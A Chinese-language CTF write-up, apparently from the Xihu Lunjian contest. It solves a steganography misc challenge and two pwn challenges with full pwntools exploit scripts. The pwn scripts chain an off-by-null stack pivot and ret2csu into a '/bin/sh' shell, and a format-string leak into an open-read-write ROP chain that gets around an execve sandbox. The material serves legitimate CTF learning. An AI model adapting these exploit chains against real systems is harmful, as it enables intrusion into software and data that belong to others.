图片末尾有些奇怪数据:
E7BB99E8BF99E4B8AAE585ACE4BC97E58FB7E58F91E98081EFBC9AE2809CE8A5BFE6B996E8AEBAE5899132303233E68891E69DA5E4BA86EFBC81E2809DE88EB7E5BE9720666C6167E38082
16进制UTF-8解码得:给这个公众号发送:“西湖论剑2023我来了!”获得 flag。
用16进制编辑器打开,发现结尾的标识符为Png的,手动CV提出数据保存为png图片(binwalk -Me提不出来,疑惑)
图片为黑白块,用脚本转黑为0,白为1:(使用zsteg也可以)
from PIL import Image
import struct
pic = Image.open('cipher.png')
a, b = pic.size
fp = open('flag.zip', 'wb')
flag = ""
for y in range(b):
for x in range(a):
#flag += str(pic.getpixel((x, y))//255)
if pic.getpixel((x, y)) == 0:
flag += "0"
if pic.getpixel((x, y)) == 255:
flag += "1"
for i in range(0, len(flag), 8):
fp.write(struct.pack('B', int(flag[i:i+8], 2)))
fp.close()
得到一个加密的zip文件。
对cipher.mp3文件使用MP3stego解密,密码为空:
.\Decode.exe -X .\cipher.mp3
得到zip的密码:8750d5109208213f
zip里面有个47.txt,使用Rot47进行解密。
然后再使用jjencode进行解密,得到flag。
// 关键代码
for ( i = 0; i <= 15; ++i )
{
printf("number-%d:", (unsigned int)(i + 1));
buf[(int)read(0, buf, 0x100uLL)] = 0; // off by null
v0 = strtol(buf, 0LL, 10); // strtol: string -> number
*(&v3 + i) = v0;
}
利用思路:栈迁移 + 爆栈
使用栈的负方向写数据,将返回地址指向nop
改为指向leave; ret
,使之栈迁移。但rbp只能修改末字节为\x00,不能完全控制到rop链的起始,所以多次执行(爆栈,概率为5/32)。
rop链:leak libc + ret2csu写入system_addr + get shell
当然,首先需要对if的条件求解方程。可以手算,也可以使用z3。
z3求解脚本(现学的,写得很赘余):
from z3 import *
v3 = Real('v3')
v4 = Real('v4')
v5 = Real('v5')
v6 = Real('v6')
v7 = Real('v7')
v8 = Real('v8')
v9 = Real('v9')
v10 = Real('v10')
v11 = Real('v11')
v12 = Real('v12')
v13 = Real('v13')
v14 = Real('v14')
v15 = Real('v15')
v16 = Real('v16')
v17 = Real('v17')
v18 = Real('v18')
s = Solver()
s.add(v5*v4*v3 - v6 == 36182)
s.add(v3 == 19)
s.add(v5*19*v4 + v6 == 36322)
s.add((v13+v3-v8)*v16 == 32835)
s.add((v4 * v3 - v5) * v6 == 44170)
s.add((v5 + v4 * v3) * v6 == 51590)
s.add(v9 * v8 * v7 - v10 == 61549)
s.add(v10 * v15 + v4 + v18 == 19037)
s.add(v9 * v8 * v7 + v10 == 61871)
s.add((v8 * v7 - v9) * v10 == 581693)
s.add(v11 == 50)
s.add((v9 + v8 * v7) * v10 == 587167)
s.add(v13 * v12 * v11 - v14 == 1388499)
s.add(v13 * v12 * v11 + v14 == 1388701)
s.add((v12 * v11 - v13) * v14 == 640138)
s.add((v11 * v5 - v16) * v12 == 321081)
s.add((v13 + v12 * v11) * v14 == 682962)
s.add(v17 * v16 * v15 - v18 == 563565)
s.add(v17 * v16 * v15 + v18 == 563571)
s.add(v14 == 101)
s.add((v16 * v15 - v17) * v18 == 70374)
s.add((v17 + v16 * v15) * v18 == 70518)
print(s.check())
print(s.model())
EXP:(基于Loτυs师傅的进行修改)
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
# io = process("./babycalc")
elf = ELF("./babycalc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop6_ret = 0x400c9a
pop_rdi_ret = 0x400ca3
ret = 0x400ca4
num = [19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]
def csu(rdi, rsi, rdx, call_addr):
payload = p64(pop6_ret) + p64(0) + p64(1) + p64(call_addr) + p64(rdx) + p64(rsi) + p64(rdi) + p64(0x400c80) + p64(0)*7
return payload
def pwn():
payload = str(0x18).encode().ljust(0x8, b'\x00')
payload += p64(ret)*4 # ret chain
payload += p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) # leak libc
payload += csu(0, elf.got['puts'], 0x30, elf.got['read']) # system.plt -> system.got
payload += p64(pop_rdi_ret) + p64(elf.got['puts']+8) + p64(elf.plt['puts']) # get shell
for i in range(0x10):
payload += p8(num[i])
payload = payload.ljust(0xfc, b'\x00') + p32(0x38) # point to ret_addr
io.recvuntil("number-")
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))
print(hex(puts_addr))
pause()
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
io.send(p64(system_addr) + b"/bin/sh\x00")
sleep(1)
io.interactive()
while True:
io = process("./babycalc")
try:
pwn()
except EOFError:
io.close()
continue
发现爆栈有时候出现些问题:1)执行流卡住; 2)libc地址泄露不对;😬
开了沙箱,execve调用被禁用。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
char buf[8]; // [rsp+0h] [rbp-C0h] BYREF
char dest[8]; // [rsp+8h] [rbp-B8h] BYREF
char v7[176]; // [rsp+10h] [rbp-B0h] BYREF
Init(); // sandbox
if ( !one )
{
strcpy(dest, "Hello, ");
puts("Welcome to DASCTF message board, please leave your name:");
read(0, buf, 8uLL);
one = 1;
}
v3 = strcat(dest, buf);
printf(v3); // 格式化字符串漏洞
puts("Now, please say something to DASCTF:");
read(0, v7, 0xC0uLL); // 可覆盖rbp、ret_addr
puts("Posted Successfully~");
return 0LL;
}
存在格式化字符串漏洞和栈溢出。格式化字符串漏洞可以直接泄露出libc基址,由于禁用了execve,所以需要用orw得到flag。但栈溢出仅可溢出0x10字节,所以需要栈迁移。
EXP:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./pwn")
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
leave_ret = 0x4013a2
bss = 0x404080
pop_rdi = 0x401413
main = 0x401378
def debug():
gdb.attach(io)
pause()
io.recvuntil("please leave your name:")
io.sendline("%31$p")
io.recvuntil("Hello, ")
addr = int(io.recvuntil(b'\n')[:-1], 16) - 243
print(hex(addr))
# debug()
libc_base = addr - libc.sym["__libc_start_main"]
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
io.recvuntil("please say something to DASCTF:")
payload = b'A'*0xb0 + p64(bss+0x200) + p64(main)
io.send(payload)
payload = b"./flag\x00\x00" # 0x4041d0
payload += p64(pop_rdi)
payload += p64(0x4041d0)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(0x404700)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(read_addr)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(0x404700)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(write_addr)
payload = payload.ljust(0xb0, b"a")
payload += p64(0x4041d0)
payload += p64(leave_ret)
io.send(payload)
io.interactive()
1、题目信息:https://github.com/Randark-JMT/CTF_Archive/tree/main/2022%20xhlj
2、官方Pwn题解:https://mp.weixin.qq.com/s/1dBr_4y2RVf_hZyXIpcqyw
3、官方Misc题解:https://mp.weixin.qq.com/s/GDn1Af-6toDCMEcxWf9j8g
4、官方Reverse题解:https://mp.weixin.qq.com/s/cuBCzVechH6R3WpEWv80Kg
5、官方Crypto题解:https://mp.weixin.qq.com/s/-TvP1PIUcQfoWKzmA_kBbQ
6、官方Web题解:https://mp.weixin.qq.com/s/BJ3_xmR0lDmGkaA9OBhGyg
↶ 返回首页